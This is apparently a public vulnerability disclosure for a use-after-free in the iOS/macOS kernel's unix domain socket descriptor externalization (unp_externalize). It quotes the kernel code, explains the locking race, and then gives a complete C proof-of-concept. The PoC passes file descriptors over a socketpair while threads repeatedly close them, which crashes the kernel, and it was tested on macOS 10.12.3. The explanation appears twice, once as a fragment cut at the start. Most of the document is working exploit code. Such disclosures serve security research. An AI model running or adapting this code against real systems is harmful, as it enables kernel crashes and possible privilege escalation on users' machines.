if (mac_file_check_receive(kauth_cred_get(), rp[i])) {
proc_fdunlock(p);
unp_discard(rp[i], p);
fds[i] = 0;
proc_fdlock(p);
continue;
}
#endif
if (fdalloc(p, 0, &f))
panic("unp_externalize:fdalloc");
fp = fileproc_alloc_init(NULL);
if (fp == NULL)
panic("unp_externalize: MALLOC_ZONE");
fp->f_iocount = 0;
fp->f_fglob = rp[i];
if (fg_removeuipc_mark(rp[i]))
fgl[i] = rp[i];
else
fgl[i] = NULL;
procfdtbl_releasefd(p, f, fp);
fds[i] = f;
}
proc_fdunlock(p); <-------- (b)
for (i = 0; i < newfds; i++) {
if (fgl[i] != NULL) {
VERIFY(fgl[i]->fg_lflags & FG_RMMSGQ);
fg_removeuipc(fgl[i]); <--------- (c)
}
if (fds[i])
(void) OSAddAtomic(-1, &unp_rights);
}
The loop at a gets the fileglobs from the socket message buffer and allocates new fds in the receiver
and sets the fp->f_fglob fileglob pointer to point to the sent fg. After each new fd is allocated and initialized
the fd is released and associated with the new fp.
At (b) the code then drops the process fd lock at which point other threads can access the fd table again.
At (c) the code then removes each of the fileglobs from the list of in-transit fileglobs; however this list *doesn't*
hold an fg reference therefore there's nothing stopping the fg from getting free'd via another thread closing
the fd between (b) and (c).
Use zone poisoning for a reliable crasher.
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
*/
#if 0
iOS/MacOS kernel uaf due to bad locking in unix domain socket file descriptor externalization
unp_externalize is responsible for externalizing the file descriptors carried within a unix domain socket message.
That means allocating new fd table entries in the receiver and recreating a file which looks looks (to userspace) like the file
the sender sent.
Here's the relevant code:
for (i = 0; i < newfds; i++) { <----------- (a)
#if CONFIG_MACF_SOCKET
if (mac_file_check_receive(kauth_cred_get(), rp[i])) {
proc_fdunlock(p);
unp_discard(rp[i], p);
fds[i] = 0;
proc_fdlock(p);
continue;
}
#endif
if (fdalloc(p, 0, &f))
panic("unp_externalize:fdalloc");
fp = fileproc_alloc_init(NULL);
if (fp == NULL)
panic("unp_externalize: MALLOC_ZONE");
fp->f_iocount = 0;
fp->f_fglob = rp[i];
if (fg_removeuipc_mark(rp[i]))
fgl[i] = rp[i];
else
fgl[i] = NULL;
procfdtbl_releasefd(p, f, fp);
fds[i] = f;
}
proc_fdunlock(p); <-------- (b)
for (i = 0; i < newfds; i++) {
if (fgl[i] != NULL) {
VERIFY(fgl[i]->fg_lflags & FG_RMMSGQ);
fg_removeuipc(fgl[i]); <--------- (c)
}
if (fds[i])
(void) OSAddAtomic(-1, &unp_rights);
}
The loop at a gets the fileglobs from the socket message buffer and allocates new fds in the receiver
and sets the fp->f_fglob fileglob pointer to point to the sent fg. After each new fd is allocated and initialized
the fd is released and associated with the new fp.
At (b) the code then drops the process fd lock at which point other threads can access the fd table again.
At (c) the code then removes each of the fileglobs from the list of in-transit fileglobs; however this list *doesn't*
hold an fg reference therefore there's nothing stopping the fg from getting free'd via another thread closing
the fd between (b) and (c).
Use zone poisoning for a reliable crasher.
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
#endif
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/uio.h>
#include <sys/socket.h>
#include <errno.h>
#include <assert.h>
#include <pthread.h>
static const char kDummyData = 'D';
static int ReadDescriptor(int fd, int *fdRead)
{
int err;
int junk;
struct msghdr msg;
struct iovec iov;
struct {
struct cmsghdr hdr;
int fd;
} control;
char dummyData;
ssize_t bytesReceived;
assert(fd >= 0);
assert( fdRead != NULL);
assert(*fdRead == -1);
iov.iov_base = (char *) &dummyData;
iov.iov_len = sizeof(dummyData);
msg.msg_name = NULL;
msg.msg_namelen = 0;
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = &control;
msg.msg_controllen = sizeof(control);
msg.msg_flags = MSG_WAITALL;
do {
bytesReceived = recvmsg(fd, &msg, 0);
if (bytesReceived == sizeof(dummyData)) {
if ( (dummyData != kDummyData)
|| (msg.msg_flags != 0)
|| (msg.msg_control == NULL)
|| (msg.msg_controllen != sizeof(control))
|| (control.hdr.cmsg_len != sizeof(control))
|| (control.hdr.cmsg_level != SOL_SOCKET)
|| (control.hdr.cmsg_type != SCM_RIGHTS)
|| (control.fd < 0) ) {
err = EINVAL;
} else {
*fdRead = control.fd;
err = 0;
}
} else if (bytesReceived == 0) {
err = EPIPE;
} else {
assert(bytesReceived == -1);
err = errno;
assert(err != 0);
}
} while (err == EINTR);
assert( (err == 0) == (*fdRead >= 0) );
return err;
}
static int WriteDescriptor(int fd, int fdToWrite)
{
int err;
struct msghdr msg;
struct iovec iov;
struct {
struct cmsghdr hdr;
int fd;
} control;
ssize_t bytesSent;
char ack;
assert(fd >= 0);
assert(fdToWrite >= 0);
control.hdr.cmsg_len = sizeof(control);
control.hdr.cmsg_level = SOL_SOCKET;
control.hdr.cmsg_type = SCM_RIGHTS;
control.fd = fdToWrite;
iov.iov_base = (char *) &kDummyData;
iov.iov_len = sizeof(kDummyData);
msg.msg_name = NULL;
msg.msg_namelen = 0;
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = &control;
msg.msg_controllen = control.hdr.cmsg_len;
msg.msg_flags = 0;
do {
bytesSent = sendmsg(fd, &msg, 0);
if (bytesSent == sizeof(kDummyData)) {
err = 0;
} else {
assert(bytesSent == -1);
err = errno;
assert(err != 0);
}
} while (err == EINTR);
return err;
}
char* filenames[10] = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j"};
void parent(int sock) {
int f = 0;
while(1) {
char* filename = filenames[f];
f++;
f %= 10;
int to_send = open(filename, O_CREAT|O_RDWR, 0644);
int err = WriteDescriptor(sock, to_send);
printf("err: %x\n", err);
close(to_send);
}
}
void* child_thread(void* arg) {
while(1) {
close(3);
}
}
void child(int sock) {
for (int i = 0; i < 10; i++) {
pthread_t t;
pthread_create(&t, NULL, child_thread, NULL);
}
while (1) {
int received = -1;
int err = ReadDescriptor(sock, &received);
close(received);
}
}
int main() {
int socks[2];
socketpair(PF_LOCAL, SOCK_STREAM, 0, socks);
pid_t pid = fork();
if (pid != 0) {
close(socks[1]);
parent(socks[0]);
int wl;
waitpid(pid, &wl, 0);
exit(EXIT_SUCCESS);
} else {
close(socks[0]);
child(socks[1]);
exit(EXIT_SUCCESS);
}
return 0;
}
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